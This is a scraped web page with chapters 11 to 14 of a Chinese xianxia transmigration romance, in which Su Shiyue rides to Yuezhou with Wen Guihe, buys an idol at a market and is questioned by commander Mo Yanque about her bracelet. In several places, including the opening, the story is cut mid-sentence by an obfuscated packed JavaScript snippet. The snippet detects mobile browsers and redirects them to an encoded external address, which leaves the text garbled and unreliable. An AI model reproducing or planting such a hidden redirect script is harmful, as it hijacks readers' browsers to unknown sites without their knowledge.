d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353044|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她结结巴巴:“好……好。” 她把药瓶塞进苏时悦手中,舒心地笑了笑,与自己的无所作为达成和解。 苏时悦也松了口气,这才和她道了声“无事”,俏皮地眨眨眼,正式登上马车,与闻归鹤一左一右,在宽敞的马车中相隔而坐。 车内陷入安静,就连窗外的徐徐风声都能听得一清二楚,少女眼珠子咕噜噜地转动,时不时往少年身上瞥一眼。 闻归鹤面色苍白,嘴角挂着笑意。一点浅色阳光自窗边撒落,贴在肌肤上,苏时悦的目光,也不自觉顺了过去,落在他看似如常的双手上,心中不自觉一紧。 她记起昨天晚上喂药时,少年微微颤抖的手腕。 他腕骨有伤,之所以会突然发作,恐怕是因为她任性提出要求,他在那儿刮了半天鱼麟引起的。 苏时悦顿时坐立不安,满脑子都是如何补救。 马车即将动身,前往繁华州城。那儿人潮涌动,车马川流不息,药铺、医馆一定也有许多。若是能问清闻归鹤受了什么伤,她或许能买几昧相关的药材。 苏时悦悄悄离开侧窗,往旁边挪了挪,在寂静中沉默片刻,才鼓起勇气,轻声道:“请问……” “我近几日总是手腕酸痛,就连捧个碗,都会忍不住手抖。敢问公子可有遇到过此类症状,有没有缓解的法子?” “姑娘有手疾,请个郎中诊断便可。我才疏学浅,无法作答。”他答得诚恳,并不接她的话头。 对自身的情况,更是只字不提。 苏时悦旁敲侧击的话语被他堵在喉咙里,无法发出,顿时满心无奈。她赔笑着缩回身子,轻轻把额头往窗沿边磕。 怎么就忘了,眼前这人是心思深沉的闻归鹤,自己那点迂回委婉的试探,在他面前不过是小打小闹。 见她回撤身子,闻归鹤移开目光,不紧不慢取出书卷。脊背放松,靠上马车椅背,深黑色的眸子里褐浪翻涌,仿佛怀着某种志在必得。 只要想明白她的目的,原本捉摸不透的动作,也都有了照落。 她想要讨好他,会刻意地迎合他,只要他明确拒绝谈及腕伤,便不会再多话。 比起单单取得手环,给她编织一场虚假的幻梦,在她自以为即将成功时撕碎,显然更具有吸引力。 正想着,忽然之间,头顶阴影再度撒落。 抬眸,苏时悦又一次欺身靠近。 闻归鹤猝不及防,匆忙往阴影中一靠,让出位置。 “姑娘又来作甚?”他温声道,“若是手伤,我无可奉告。” “我想要弥补过错。”苏时悦开口。 “容姑娘会因为没能在神像面前帮到我而内疚,我也一样。我犯下的错,肯定要由自己来承担。昨晚,我不知情况,强求公子握刀,已至引发伤情,对此感愧不已。公子可否告知您平日用的是哪些药,我寻机会备齐,也算尽心。” 马车缓缓而行,朝越州城驶去。 闻归鹤突然想起,容枝桃拦车的那段时光,车旁曾出现一段小小插曲。 修士争斗总是刺激且有趣,更别提其中一位是新上任的代家主。三人卡在正中央,立时吸引一大群人的目光。无数百姓围拢上来,叽叽喳喳声响作一团。 “那是容家大小姐吗?在做什么?怎么在和一位郎君吵架?” “好像在,抢一个漂亮的小姑娘……” “嗯嗯嗯?什么?让我看看!” 闻归鹤垂眸,看着近在咫尺的少女。 她圆圆的杏眼弯起,上翘的睫羽落满阳光。身后四方小窗中,景物缓缓倒退。明暗切换,过城门,从萧索郊外,转入热闹集市。 的确,那张令人不悦,想要撕开皮囊,让人看看她内里所思所想的脸。 非常得,漂亮。 被她缠上。 倒也…… 不错。 不如,就这么缠着他吧。 11. 第 11 章 良久,少年轻叹一声。 “是旧伤,用不着用药。” 这是他第一次提及自己的事。 也是苏时悦第一次开始真正了解闻归鹤。 《虞昭令》整本书中,除去简短介绍,鲜少提及闻归鹤的过往。他的伤病、他性格的成因,更是一个字也没有透露。 苏时悦连忙重新坐直身子,拎起十二分的注意,紧张地注视他,生怕遗漏线索。 可她竖起耳朵听了半晌,只有那么一句。 少年长睫垂落,把所有的情绪藏匿进眼底。 苏时悦忍不住往他的位置挪了挪,怕被外面的人听见,刻意压低声音:“是外伤吗?还是受冻,或者其他原因引起的?平日感觉如何?” 闻归鹤:“外伤,早已愈合,不必担心。” 苏时悦认真点点头:“我记住了,多谢鹤公子。” 那缕金桂香倏地消散无踪,苏时悦坐回窗边,乖巧地像什么事也没发生过。脑袋却已探出窗外,认真观察越州城的街头巷尾,寻找值得留心的店铺。 “鹤公子。”她忽然回头,“你的身子,要不要找个医修看一看?再不济,凡人郎中也行。” 闻归鹤手握成拳,缓缓摇头:“不必。” “我可以为公子请大夫吗?” “不必。” “到容家后,我能来找公子吗?” 不让她寻大夫,苏时悦只能自己捣鼓写药贴,给他送过去。 车轮咕噜噜地滚过尘土,淹没杂音。 闻归鹤低头,重新看向选好的修行之道。那些华而不实的道法是他为敷衍她写下,如今却略显扎眼。 他心烦意乱地翻过纸页,定了定神,重新看向她。 “可以。” 马车加快速度,很快进入西城。西城一大半的位置,皆为容氏族人所住,闲杂百姓退避,透露出一种别样的幽静。 苏时悦与闻归鹤交流的当口,人迹稀少处,容文赋与容家长老避开众人,满脸怒容地交谈着。 “家主当真死了?” “是,魂灯已灭,尸首也在不久前寻到。我派出所有知情人搜寻,搜不出半分神魂,当是魂飞魄散,再无借尸还魂的可能。” “凶手呢?” “不详,但可能,杀人者,是只白发红瞳的半妖。” “半妖!”容文赋仿佛听见极其可怕之事,咬牙切齿,“老匹夫,活着的时候不得安生,死了还要给我添麻烦。” “这下好了,圣君的任务尚未完成,我还得提防那个黄口小儿上位。” 长老连忙安抚:“二当家莫慌,我已联系到一支大荒妖族。无论是除掉那个闻姓之人,还是未来争权夺势,皆可代为效力。” “妖族?”容文赋挑眉,“他们流落各处,卑贱愚钝人尽皆知,长老是病急乱投医了?” 长老连连摇头:“二当家放心,那个组织很不一般,不输于任何人类。您若是犹豫不定,直接与他们的话事人沟通便可。” 容文赋眉宇间忧心忡忡,叹了口气,见长老信心满满,思量再三,道:“那便见一面吧。” 说完,他转向进城的队伍。 神龛由脚夫稳稳扛着,不紧不慢地从两人身旁经过,进入西城。 一阵微风拂过,龛笼横栏门的木条发出哗啦啦的声响,淡淡的线香飘散开来。脚踩莲花的圣尊静静伫立在门后,若隐若现。 入容府后,苏时悦终于拿到日思夜想的户籍名册,在此世有了良民身份。她积极打听消息,结合原著的知识,整理出目前容府局势。 越州城西侧是容氏领地,无论是酒肆茶坊,还是布庄药铺,皆打上莲花族徽。拜越州府制度支撑,容枝桃自小坐稳继承人的位置。二当家觊觎主位已久,绝不甘轻易放手权利。先前墨池的遭遇,便是二当家容文赋的杰作。 可闻归鹤出现后,二当家似乎相信了他的话,注意力从内部斗争转移,开始专心防御外界来袭。 苏时悦帮不上忙,又怕擅自调查给周围人添麻烦,只能待在容枝桃安排的厢房中写写画画,根据参考书练习基础符法。 她勉强能感知到灵力流动,说明她足够幸运拥有根骨,但到底天赋在哪儿,就需要罗盘辨析。 检测根骨山海罗盘存放在越州府,只在正月十五开放,苏时悦没有理由私下拜访,只能在容府等待。打算等容枝桃歇下来后向她提出要求,拜托她搭桥牵线。 进容府第三日,十月初一,苏时悦趴在二楼窗沿,望着热闹街道兴叹,忽然听见马蹄踢踢踏踏经过。 少年腰杆劲瘦,一袭黑衣,与往日温吞病弱的模样相比,增添几分英气。坐下黄骠马平脊大腹,是难得一见的宝马良驹。 苏时悦觉得楼下之人有些眼熟,定睛一看,惊讶出声:“鹤公子?公子的手伤还好吗?” 她还以为像他这样的修士,会选择符舟一类更便捷的方式出行。 听到有人喊他,闻归鹤勒马停驻,折身扭头。 “苏姑娘,晨安。”他微微颔首,算作招呼,“多谢关心,手腕已无大碍。” “鹤公子要去哪里?”苏时悦心底不争气地浮出一个猜想。 “我要去一趟内城越州府,城中领兵数次盛情相邀,想从我口中探听闻氏毁灭的情况。”闻归鹤答道。 想了想,微笑补充:“苏姑娘要一起去吗?” 他的话郑重苏时悦下怀,她忍不住面露喜色:“此言当真?但,我一起去,不会麻烦公子吗?” 苏时悦犹豫道:“毕竟,你们谈论的事与公子的家族有关。”她还不忘帮他圆谎。 闻归鹤含笑:“我是闻氏旁支,对家族没有感情,只是应邀而往,解释情况而已。只是苏姑娘被代家主层层守护,要从正门走,实属不易。” 苏时悦想到容枝桃过度保护的模样,忍不住捂唇轻笑。她正想说她立刻去找容枝桃解释,又听闻归鹤开口唤她。 “苏姑娘,跳下来吧。” 秋风掠过,吹得长青的松柏沙沙颤动。金色云彩打着旋儿跳舞。闻归鹤捻起张灵符,嘴角有一丝若有若无的笑:“我会接住你。” “跳?”苏时悦愣了愣,低头往下看。 二楼离地约三丈高,光是看着就有些渗人。 下方有一棵枣树,枝干结实,多有分叉。十月入冬,青枣早被摘光,只剩光秃秃的枝杈。 苏时悦“噗嗤”一笑:“好,鹤公子,我来了。” 话本里的英雄少侠都不走正门,她懂。 她搬来木凳,踩上窗沿。 “千万要接住我啊。”灿灿暖阳中,苏时悦另一只脚也翻过窗沿。她找准位置,纵身而下,浅色衣衫在粉空中划过曲线。 少年愣了一下,似是没猜到她的动作如此之快。面上闪过错愕,转瞬恢复如常,拨马拉开距离,指尖荧光阵阵。 金符卷起,接住跳楼的身形,将苏时悦包围。忽然一阵风刮过,吹歪符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353045|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的方向,将她送到枣树旁。苏时悦吓了一跳,不自觉扬起手腕。 枣树外伸的树枝,不偏不倚,将黑金珠串挂了上去。 还没等苏时悦察觉,手串发出一阵强光,结实的枝干应声而折,少女稳稳落地。 她显然对方才的经历又激动又后怕,原地蹦跶好几下,才恭敬地叉手行礼:“多谢鹤公子。” 闻归鹤本有些失落,见她如此庄重,那点儿愁绪也飞到九霄云外。他朝苏时悦伸手,示意她扶住自己的手腕。 “苏姑娘,上马吧。” 苏时悦往旁退开:“我学过上下马,不劳烦公子。” 她在现代旅游时接触过骑马,兴趣使然,跟着草原的骑手学了段时间,勉强知道该如何让马前进、后退。 苏时悦绕到黄骠马左侧,面露难色:“鹤公子,我坐前面,还是后面?” 后面方便,但得搂着他。前面虽然不自在,至少有安全距离。 闻归鹤默然片刻,松开手。 苏时悦明白他的意思,踩住马镫,扶着马鞍前桥,用力一撑,跨腿坐上马背。她身子下压,错开距离,全程没碰到闻归鹤。 长舒一口气,眨着清澈眼睛回头,像只活力无限的狍子:“如何?没有给鹤公子添麻烦吧?” 闻归鹤蓦地挥鞭,抽在黄骠马身上。 黄马吃痛,立时如同离弦之箭般飞奔,朝城区跑去。 越州有四方城,容家占西边,其余三处各司其职。城中道路四通八达,正中一条朱雀大道,通往中心内城州府处。 秋收农忙过后,祝酒节将近,太守为与民同乐,放宽南侧城区,让百姓在不干扰秩序的前提下搭建临时摊位。 踏入朱雀大道,一股浓郁的烟火气息扑面而来。摊位林立,旗帜招展,叫卖声不绝于耳。 闻归鹤放慢黄马速度,在摩肩接踵的人群间平稳穿行。苏时悦第一次见到古代集市,好奇地左看右看。 “布料、小吃,还有我们先前遇到的灵兽商队。”她看得眼花缭乱,很快把方才心头的那点异样抛诸脑后,时不时回头,兴致勃勃地与闻归鹤分享。 “还有,嗯……塑像?” 苏时悦一眼发现,几乎每个摊位都划出专门区域,在案板上对着各式各样的小神像。她连忙伸长脖子,眯起眼睛仔细辨别。 “不是圣君?”很快,苏时悦认出几个熟悉的造型,“没想到他虽然自称神格,却也开明豁达,能求同存异。” 黄骠马的行进一慢,少年勒住缰绳,新奇地打量她。眉头往上挑,好似发现有趣玩具的孩童。 闻归鹤问:“如何不是?” 她又说错话了?苏时悦心头一凛,硬着头皮死撑。她伏在马背上扭头,与闻归鹤四目相对: “公子请看,那些塑像,有的道人低眉,有的金刚怒目,还有各路正神,分明是儒释道三家的造型,如何与君王相关?” 她已经从容枝桃那儿获取基础知识,不怕出丑。 苏时悦信誓旦旦,言之凿凿,闻归鹤却轻咳着笑出声。 他竖起食指,比了个噤声的手势。 闻归鹤:“圣君者,众生万物之化身,道、佛、士、天、地、兽、植、虫,目之所及,无一不是。这是家喻户晓,妇孺皆知的道理。” 他低眸看她,唇角微弯,笑意却不达眼底。 眸光犀利,仿佛终于能隔着薄膜,窥见一分真实。 “苏姑娘,不知道吗?” 12. 第 12 章 少年轻语响在耳畔,伴随嗖嗖寒风,增添几分凉意。 苏时悦忍不住拢了拢领口,明明穿着温暖的棉衣,却还是冻得有些冷。 还能这样? “回公子,我的确不知道。”苏时悦还记着容枝桃的警告,生怕被闻归鹤当做妖物,“我来自异乡,因妖魔劫掠近被带入虞地,各种风俗习惯,都是遇到公子后慢慢了解的。” 幸好,闻归鹤不仅没责怪,反而主动开口:“大虞开国君主便是得了神明的助力,才成为皇帝,自名圣君。从开国至现在,天都皆有神明辅政,圣君由此掌控至高无上的权力,意志同时影响世俗与修真界。” 苏时悦有些恍惚:“原来如此。” 她见他不似容枝桃般态度坚决,甚至愿意为她解释,忙趁热打铁:“那帮助圣君的神明又是何人?” 闻归鹤摇头:“除却陛下,没有人见过真实的神明。” “下马看看如何?纵使姑娘心中有其他想法,也该好好了解。下次被问起,也好及时反应。”他建议道。 苏时悦被突如其来的设定吓出一身冷汗,连连点头,打算认真了解一番。她在闻归鹤的搀扶下翻下马背,朝各类摆放神像的摊位走去。 摊位上的塑像类型各异,从木雕到金雕,佩戴的饰品、供奉的塑像,一应俱全。苏时悦在一间店铺前站定,摆弄着一尊巴掌大的玉雕塑像。 摊位左手边是正神位,右手畔的佛陀,这些塑像竟都是八部神的化身。如此强行将各类神明都纳入其中,实在是让人难以接受,与苏时悦原本认知的信仰相差甚远。 此等贪多贪足的行径,一看便绝非善类…… 苏时悦只觉得这种铺天盖地的宣传充满了压迫感,下作得很。又不敢表现出来,脸都快笑僵了。 摊主先一步不耐烦:“玉石像两块银铤,小丫头,到底何时付钱?” “抱歉,抱歉。”苏时悦意识到自己挡着客人,连连道歉,“我看得时间太久,给您添麻烦了。” 她明白自己暂时获取不了更多的线索,急忙把神像放回。 摊主看到她的动作,勃然大怒,打开她的手:“什么意思?看而不买,返还于我,是不敬陛下吗?” 苏时悦动作一滞。 看了…就要……买吗? 可她根本没钱,怎么买? 苏时悦僵在原地,拿也不是,放也不是。反倒摊主得理不饶人,果敢非常地站起身,想要喊人。 幸好,在他放大音量前,两块银铤仿佛从天而来的羽毛,落在案台上。 转角处来了位黑衣贵公子,他接过摊主手中的雕像,放下银钱。 “女郎的银钱放在我这儿,一时忘了而已。”闻归鹤笑着解释。 摊主收了银铤,长舒一口气:“还好还好,姑娘,心诚所致,圣君神格必然会保佑你。” 苏时悦:“嗯,好。” 她捧着白壁像,离开摊位,努力模仿那些民众的姿态,却毫无诚意。 苏时悦嘀嘀咕咕半天,实在说不顺嘴“圣君保佑”,她选择顾左右而言他,懵懵懂懂地抬头,朝闻归鹤寻求帮助:“我需要把它供起来吗?” 虽然她想扔了这尊阴森森的塑像,但都说人在做天在看,不怕一万就怕万一。 “姑娘不喜欢?” “……嗯。”苏时悦稍作迟疑,压低声音,与闻归鹤说实话,“不喜欢。” 她知道入乡随俗,需得敬重文化,可不妨碍她内心抵触万分,更遑论去接受信仰。 “多谢鹤公子的银铤,我最近在练习绘符,日后挣了钱还你。”她声音略低,不好意思地补充。 冷白色的手掌探至眼前。 “要是不喜欢,给我如何?” 那不就是害他?苏时悦下意识手往后躲,玉像已被闻归鹤握住:“放心,祂宽厚仁爱,不会降罪于子民。” 说话间,闻归鹤力道加重,苏时悦被迫松手。 她还有些不安,少年已牵住缰绳,朝前走去。她只得跟上,一路左顾右盼,努力入乡随俗,早早适应百姓间浓郁的氛围。 很快,她的注意力被各色小玩意儿吸引,开始在煎饼摊前排队。 觉察到苏时悦心情重新愉快,闻归鹤放慢脚步,任由少女走到他的前方。 “神明?圣君?”少年眼中赞许一闪而逝,他抬头看了眼天幕,弯弯唇角。 白玉般的手掌扶上神像,握紧。 “啪”一声,神像身首异处。 少年眼底闪过戾气,他将雪塑般的脑袋揉进掌心,慢慢碾碎,而后循环往复。直到整座玉像被碎成齑粉,才缓缓松手,随手将残骸弃之于市。 本就是装神弄鬼之人,何必在乎神明真伪。 沿朱雀大道直走,便是内城。越州府高门大屋,巍峨屹立,前设登闻鼓,气势恢宏。两头石狮子一左一右,摇头摆尾看守府门。 闻归鹤来到府门前,朝差役通秉一声。很快,脚步声传来,一人面含笑容,亲自出门迎接。 越州领兵身着文武袖紫袍,周身气息沉稳,赫然是一名修士。浓眉大眼,头带抹额,鬓角整整齐齐地梳拢。 大步流星,来到三人一马前。 “越州莫言阙,见过闻道友。”莫言阙拱手,行了个修士之间的平等礼节,“闻氏之事,我深表哀恸,可此事恐与天都有关,我不得不再三延请公子,还望海涵。” 莫言阙看向苏时悦:“这位是……” 苏时悦顿时把圣君与信仰抛到九霄云外,眼有星星,一脸追星成功的花痴样:“一个毫无关联的外地人罢了,不必在意我,让我回避也成。” 不能怪她,哪一个小姑娘面对帅姐姐不会脸红心跳四肢发软。 越州领兵莫言阙,护国公身边的得力干将,武功卓绝,一身正气,为百姓斩妖除魔,也为主公鞍前马后,是苏时悦看书时特别喜欢的角色。 见到本人,苏时悦浑身上下都在冒粉红泡泡,不好意思地捏着发丝,满脸通红,想说些什么。 闻归鹤的声音插入:“见过领兵,这位是闻某的友人,姓苏。” 他生得比莫言阙漂亮多,苏时悦立刻不争气地被拉了回去。 莫言阙上下打量苏时悦一眼,没有说话。正当苏时悦紧张无措时,肩头被轻轻一拍。 “来来来,请请请,二位吃过午饭没?”莫言阙拉过苏时悦的手,一副慈祥长辈的模样,又要去拍闻归鹤的肩。 “我本是江湖中人,只是在州城当差久了些,千万别介怀,现在吃饭时间有些早,不如先吃些水果?” 少年眉头一跳,躲开了。 苏时悦被她的热情烤得满脸通红,躲也不是,不躲也不是,干脆往莫言阙身前凑了凑,小碎步往府门挪:“水果好啊,有什么?苹果?香蕉?梨?” 莫言阙被她逗笑:“都有,都有。” 她喊人牵走黄骠马,带二人进城。 议事厅设立在州府正堂后,光映瑞柱,兰香绕舆,书吏执笔,将修士与凡人各司其职的制度展现得淋漓尽致。 越州鱼米之乡,瓜果疏食应有尽有。莫言阙致力不让气氛过于严肃,在桌上摆了好几种瓜果,请二位享用。 苏时悦一眼瞄去,很不争气地看中了果盘中圆润可爱的小橘子。 她记得这种橘子叫砂糖橘,便宜大碗,十几块钱就能买一大袋。她在秋冬季节常吃,一不小心就会变成小黄人。 “苏姑娘想吃就吃吧。”莫言阙察觉她的小动作,笑眯眯地让书吏给她端了一盆。她生得英气,笑着拉家常时,又多了几分青年老成的和蔼。 她的目光在苏时悦与闻归鹤身上游走:“闻公子既说自己是从云潭来,路过闻氏时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏时悦抬手时,素色袖口下滑,露出腕骨上圆润透亮的黑金珠串。 莫言阙一眼扫去,正巧看到珠串,立时坐直身子,眼中明光一闪。 正欲说话,闻归鹤浅笑开口:“姑娘,也听说过玄玉?” 苏时悦见瞒不过去,尴尬笑笑:“我是外地来的,在入乡随俗,收集各类奇闻轶事的时候,听到过这个名字,也了解过他的一些,事迹。” 她装作眼观鼻,鼻观心,偷摸朝闻归鹤看去。少年眉头一压,手捧茶盏,垂目错开视线,眸光跟着飘起的墨绿茶梗浮动。 他放下茶碗,掩去眼中的探寻:“苏姑娘觉得,那个半妖是什么样的人?” 苏时悦微愣,一时间不知该如何答复。 玄玉对于苏时悦而言,实在是熟悉得不能再熟悉了。 《虞昭令》这本的最终反派,故事中杀死闻归鹤的人,一只半妖。 他从小被当做祭品培养,炼化出一身的上乘灵骨。少时悲惨,备受欺辱,仙门修士为不让他逃脱,不惜在他身上施加各种刑罚,打碎他全身骨骼又重新愈合,以示惩戒。 稍长一些,又被送去供奉魔物。 机缘巧合,玄玉成功逃脱,免去一死,却也堕落成一个用他人鲜血暖自己的魔头。 综合已知信息,折磨过玄玉的,正是紫极宗的两个家族。 这是个很普通,乃至套路的人设,苏时悦很理解他。 但苏时悦无法接受的,是在故事后期玄玉干过的一系列非人恶事。 设定集里,用六个字简单粗暴地做了总结: 弑母、弑父。 弑妻。 十恶不赦。 13. 第 13 章 苏时悦对反派没有好感。 她看书时,代入的是被杀死的百姓,莫名受害的路人。她偏爱那些光伟正的角色,喜欢那些历经风霜,仍热爱生活的理想主义者。 但她知道的那些恶行,玄玉还没有做。 纵使有深仇大恨,闻氏灭门也不是玄玉所为,她更不能用还未发生过的事对他下定义。苏时悦皱着眉头思索许久,想到一个中庸的说法。 “大概是,被辜负的,被很多人对不住,也对不起很多人的,可恨、可怜之人吧?” 视线中,闻归鹤端着茶杯的手一顿,似是因她的话陷入沉思。 苏时悦继续道:“但是,既然容家曾经伤害过他,为防止他恶意报复伤及无辜,还请加强防御。” 她重新坐回原位,摸了个小橘子,正剥着,听见闻归鹤开口。 斑驳阴影透窗撒落,少年半边身子埋进阴影中,长指描摹杯壁:“这个说法,堪称中庸之道。” “但是苏姑娘眼中,玄玉,真的是那样吗?”闻归鹤掀起眼皮,“姑娘的语气,分明厌极了他,何必用言辞维护。” 苏时悦惊讶看向他。 “公子认识他?” “不认识。” “那……” “不喜欢和嚼舌根,还是有区别。”苏时悦不再掩饰自己的情绪,“公子猜得不错,我的确很讨厌他。” “可我从未见过他本尊,不知我所知的事情有几分真,几分假。哪怕再厌恶,随意唾骂,与小人何异?” 闻归鹤瞳光颤动,启唇想说些什么。 最终,化作一声叹息:“一个手中染了不知多少无辜者鲜血的邪魔,得姑娘如此评价,也是他的幸事。” 苏时悦望着他眉心拧起的结,把剥好的砂糖橘放到递过去,道:“公子尝尝。” 她与闻归鹤坐得很近,一伸手,便把果肉送到他手心。 用稍低些的声音补充:“很甜的。” 闻归鹤猝不及防,手往后缩。她也跟着旁挪,稳稳将橘子送到。 明明不是那个家族的人,一提到闻家,他就像是吃了苦瓜一样,脸绷得紧紧的。 未来值得操心的事更多,他可如何是好。 苏时悦看着闻归鹤掰出一瓣橘子,放入口中,眉头的结稍稍松缓,满意地露出笑容。 少女抬手时,黑金手串又一次晃了下来。 莫言阙托着脑袋,观看二人互动,笑盈盈的。见到黑金珠串,笑容逐渐消失。 “苏姑娘。”莫言阙轻轻放下手中茶杯。 “请随我来,我有事要单独与你商议。” 苏时悦忽然被点名,登时错愕不已:“啊?” 这是做什么?莫不是自己说了不该说的话,引得莫言阙怀疑她与半妖、或是闻氏灭门案有所关联? 苏时悦慌慌张张起身,内心不安,下意识朝闻归鹤投去求助的目光。 闻归鹤朝她点了点头,放下茶盏,跟着苏时悦起身:“苏姑娘未曾来过高门府邸,难免紧张,请允我与她同行。” 莫言阙:“这是我与苏姑娘之间的私事,还需闻公子回避。” 她大踏步上前,视线绕过闻归鹤,直接对上苏时悦的双眸。 苏时悦还没反应过来,忍不住往闻归鹤背后缩了缩。介意清瘦挺拔的身形作掩护,一双眸子秋瞳剪水般闪烁警觉的目光。 “苏姑娘,我没有恶意。”莫言阙意识到她误会了,叹了口气道。 她并起双指,指天画地。 肃穆道:“我以护国楚公之名起誓,绝不会害姑娘,请姑娘随我来,希望姑娘能信任我。” 苏时悦被她的庄重感染,不知不觉间恢复镇定。 书里的莫言阙,就是个爱护百姓的,一等一的大好人,她也是猝不及防被她当面发问,来不及反应,才会对她有抵触。 回过神来时,心中已有决定。 苏时悦放下交叉在胸前的手,腕上珠串滑落,黑色珠石碰撞,发出悦耳的响声:“领兵误会了,我只是第一次与官员独处,有些紧张,领兵勿怪。” 说着挪步而出,想去莫言阙身边。 拦在她身前的人,仍没有退步。 “不想去,便不去。”他的声音沉了下来。 话音未落,袖角被拉了拉,闻归鹤低头,看见双初生牛犊般水润的杏眼。 苏时悦抬头,仰首看他:“无妨,我觉得领兵不是坏人。” 她依靠着对《虞昭令》的记忆,挣扎着来到越州城。她所知的剧情则为她指出许多明路,她如何信任闻归鹤、容枝桃,便会如何信任莫言阙。 在苏时悦心中,他们是一样的。 苏时悦道:“鹤公子不必担心,我去去就回。而且,这也是我借用山海罗盘的好机会。” 除却以上几点,苏时悦还有别的打算。 莫言阙是个很强大的助力,如果能抓住,对闻归鹤的未来也是极好。他一直独来独往,若不为他争取外人的好感,光靠告知死劫,恐怕无法救他。 少女朝闻归鹤露齿一笑,眸光闪动,错身而过,朝前方走去。 淡色裙摆伴随行走飘动,宛如盛开的芍药花。 闻归鹤心念一动,想要上前。莫言阙已握住苏时悦的手,道了声“多谢”,带她转过拐角,进入长廊,脱离闻归鹤的视线。 领兵离开,会议厅恢复空旷与寂静。 在一旁记录的书吏也起身收拾卷宗,他将笔录收起,打算问问客人是否有别的需求,是否要备饭。 身旁猛地发出一声响动。 少年的手撑在桌上,神色有些痛苦。 “公子,您没事吧?” 书吏殷切上前,询问他是否需要帮助,被温和婉拒后,又问二位客人有何忌口。 闻归鹤颇为心不在焉,想到苏时悦在容府时,饭桌上从未出现过辣椒,随口答了。 他的思绪停在了初见时的黑崖林,停在了入马车旁神龛前,时间被过去一刻,不安感便重一分。 先前两次,她也是这样笑着,步履轻盈,直来直往。 唯一不同的是。 这一次,第一次,她没选他。 他不喜欢欲拒还迎的姿态,这不是一个合格的纪真阁门徒该有的举止。 州府正厅巍峨庄严,后院却清爽宜人,很有生活气息。 苏时悦被莫言阙带着,进入州府后院的茶房中。茶房装饰古朴,墙上挂着山水画,几案摆着青瓷器。铜炉正煮着茶,莫言阙从橱柜里翻出罐压箱底的茶叶,笑眯眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“第二点。”莫言阙收势,表情跟着凝重几分。 她的目光落在苏时悦手串上,探手点了点:“这条珠串,你是从哪儿得来的。” 苏时悦视线下移:“是……一名高人送的。” 莫言阙:“自红珠起第八颗黑色珠石,里侧刻了个‘盈‘是不是?’” 苏时悦骤然起了身鸡皮疙瘩,难以置信地转头,满脸愕然。 那颗珠石后面的确刻了字,因时光流逝,显得有些模糊。 苏时悦小时候,一旦睡不着,就喜欢摸上面的字玩。字体复杂,可耐不住她反复摸索,硬生生地猜了出来。 可书里的人怎么会知道? 她不是穿书吗? 如果是穿书,怎么会有人与她穿越前的事物产生关联? 如果不是穿书,这又是什么鬼地方。 她记得,《虞昭令》的背景,是架空了一千五百多年前的虞朝。说起来,哪怕在现代,犄角旮旯中也藏匿妖魔,未尝没有修仙之人避世而居。 难不成她不是穿书,是—— 苏时悦正想着,肩膀被拍了拍,含笑的面庞驱散她的惊惧:“放心,我不问你父母在哪,也不问你从哪里来的。” 莫言阙低头,端详苏时悦的容颜,态度有几分看晚辈的慈爱。 “我不清楚姑娘的处境,也无法与姑娘感同身受,但我认得与珠串有关的人,他或许能为姑娘指条明路。” “可需要我搭桥牵线,为苏姑娘引荐?” 14. 第 14 章 “要!” 苏时悦毫不犹豫地答道,声音响亮。 莫言阙笑笑:“随我来。” 她取来地图,铺开:“大虞共三百六十大小州,西北中心是国都赫京,又称天都。越州地处东南,继续向东九百里,一江之隔的位置,是大荒。大荒与越州之间的丰水州郡,为云州。” 她把她当初来乍到,一无所知的孩童来教,苏时悦却看得很快。在心中一合计,立时把现在的地图,与自己现代的各个地名做了转换。 “我看得懂。”她低声道。 莫言阙赞许地看了她一眼,省略喋喋不休的细节。 “我为你引荐的人,姓陆,叫陆辞岁,年二十有六,于云州苍郡做佐官。你带我的信去,自会有人为你引荐。见到他,只要你把珠串拿给他看,他就会明白一切,定能护你无恙。” 苏时悦敏锐地捕捉到语境:“无恙?” 她咽了口唾沫,挣扎着开口:“无恙的意思是,全须全尾地,离开吗?” 莫言阙注视着苏时悦,眼中似有千言万语,少顷,俯身。 “离开的意思是,从这个世界消失?” 她笑着摇摇头。 “抱歉,他或许能解释你来的原因,但是,无法送你回家。” 苏时悦迎上莫言阙的目光,心脏砰砰直跳,莫言阙已直起身子:“听容枝桃说,苏姑娘有修道的打算。此次来我越州府,可有借用山海罗盘的打算?” 苏时悦咬牙:“是。” 莫言阙严肃回头:“有一件事,我需得提前与苏姑娘申明。” “你来到这儿之后,在被一个东西搜索。你对抗不了它,但想要回家,需得虎口夺食。它不知道你在此地,可一旦你入道、修行、上下求索,便于此世留下了供其捕捉的痕迹。” “简而言之,若你执意想要离开此世,必会暴露踪迹。恐怕不知何时,不知何日,不知何地,会有东西找上你。” 她不苟言笑,说得诚恳,苏时悦起了身鸡皮疙瘩。 